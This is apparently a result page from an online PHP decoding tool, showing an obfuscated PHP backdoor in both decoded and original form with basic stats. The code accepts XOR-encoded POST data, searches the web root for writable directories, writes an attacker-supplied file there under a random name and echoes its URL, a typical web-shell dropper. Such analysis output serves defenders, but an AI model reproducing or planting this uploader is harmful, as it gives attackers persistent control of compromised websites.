Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJk..

Decoded Output download

<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJkqAe == 16){$gScyNMav = $yUgYQlb($CtDoVztaC($XJdaJPO($gScyNMav)));$BHgNHTjVbU = array_slice($yUgYQlb(str_repeat($BHgNHTjVbU, (count($gScyNMav)/16)+1)), 0, count($gScyNMav));function MYkXBSRpCP($ruoCxI, $wswbzc, $BHgNHTjVbU){$jJHxm = "fb4d5a16-7daa-49a8-bd66-7bde584f2425";return $ruoCxI ^ $jJHxm[$wswbzc % strlen($jJHxm)] ^ $BHgNHTjVbU;}$gScyNMav = implode("", array_map("MYkXBSRpCP", array_values($gScyNMav), array_keys($gScyNMav), array_values($BHgNHTjVbU)));$gScyNMav = @$MrSPD($gScyNMav);if (@is_array($gScyNMav)){$HIoqmdyQBl = array_keys($gScyNMav);$gScyNMav = $gScyNMav[$HIoqmdyQBl[0]];if ($gScyNMav === $HIoqmdyQBl[0]){echo @$MskLvDocH(Array($vYjXPZSad => @$RpdWxirog(), ));exit();}else {function YQMee($ztWaFdCnCbir){static $QjAUg = array();$AKYXyjeaX = glob($ztWaFdCnCbir . '/*', GLOB_ONLYDIR);if (count($AKYXyjeaX) > 0) {foreach ($AKYXyjeaX as $ztWaFdCnCb) {if (@$iFTcmToetI($ztWaFdCnCb)) {$QjAUg[] = $ztWaFdCnCb;}}}foreach ($AKYXyjeaX as $ztWaFdCnCbir) YQMee($ztWaFdCnCbir);return $QjAUg;}$txPmcDIpK = $_SERVER[$ppQsShr];$AKYXyjeaX = YQMee($txPmcDIpK);$HIoqmdyQBl = array_rand($AKYXyjeaX);$klRgjhMmxD = $AKYXyjeaX[$HIoqmdyQBl] . "/" . substr(md5(time()), 0, 8) . $dTDFWdMH;@$WnQgSphelv($klRgjhMmxD, $gScyNMav);echo $Itselec . $_SERVER[$HkjWA] . substr($klRgjhMmxD, strlen($txPmcDIpK));die();}}}} 
?>

Did this file decode correctly?

Original Code

<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJkqAe == 16){$gScyNMav = $yUgYQlb($CtDoVztaC($XJdaJPO($gScyNMav)));$BHgNHTjVbU = array_slice($yUgYQlb(str_repeat($BHgNHTjVbU, (count($gScyNMav)/16)+1)), 0, count($gScyNMav));function MYkXBSRpCP($ruoCxI, $wswbzc, $BHgNHTjVbU){$jJHxm = "fb4d5a16-7daa-49a8-bd66-7bde584f2425";return $ruoCxI ^ $jJHxm[$wswbzc % strlen($jJHxm)] ^ $BHgNHTjVbU;}$gScyNMav = implode("", array_map("MYkXBSRpCP", array_values($gScyNMav), array_keys($gScyNMav), array_values($BHgNHTjVbU)));$gScyNMav = @$MrSPD($gScyNMav);if (@is_array($gScyNMav)){$HIoqmdyQBl = array_keys($gScyNMav);$gScyNMav = $gScyNMav[$HIoqmdyQBl[0]];if ($gScyNMav === $HIoqmdyQBl[0]){echo @$MskLvDocH(Array($vYjXPZSad => @$RpdWxirog(), ));exit();}else {function YQMee($ztWaFdCnCbir){static $QjAUg = array();$AKYXyjeaX = glob($ztWaFdCnCbir . '/*', GLOB_ONLYDIR);if (count($AKYXyjeaX) > 0) {foreach ($AKYXyjeaX as $ztWaFdCnCb) {if (@$iFTcmToetI($ztWaFdCnCb)) {$QjAUg[] = $ztWaFdCnCb;}}}foreach ($AKYXyjeaX as $ztWaFdCnCbir) YQMee($ztWaFdCnCbir);return $QjAUg;}$txPmcDIpK = $_SERVER[$ppQsShr];$AKYXyjeaX = YQMee($txPmcDIpK);$HIoqmdyQBl = array_rand($AKYXyjeaX);$klRgjhMmxD = $AKYXyjeaX[$HIoqmdyQBl] . "/" . substr(md5(time()), 0, 8) . $dTDFWdMH;@$WnQgSphelv($klRgjhMmxD, $gScyNMav);echo $Itselec . $_SERVER[$HkjWA] . substr($klRgjhMmxD, strlen($txPmcDIpK));die();}}}}
?>

Function Calls

None

Variables

None

Stats

MD5 ed37e09dc2260cb6e9ec75ad9be7e0ea
Eval Count 0
Decode Time 40 ms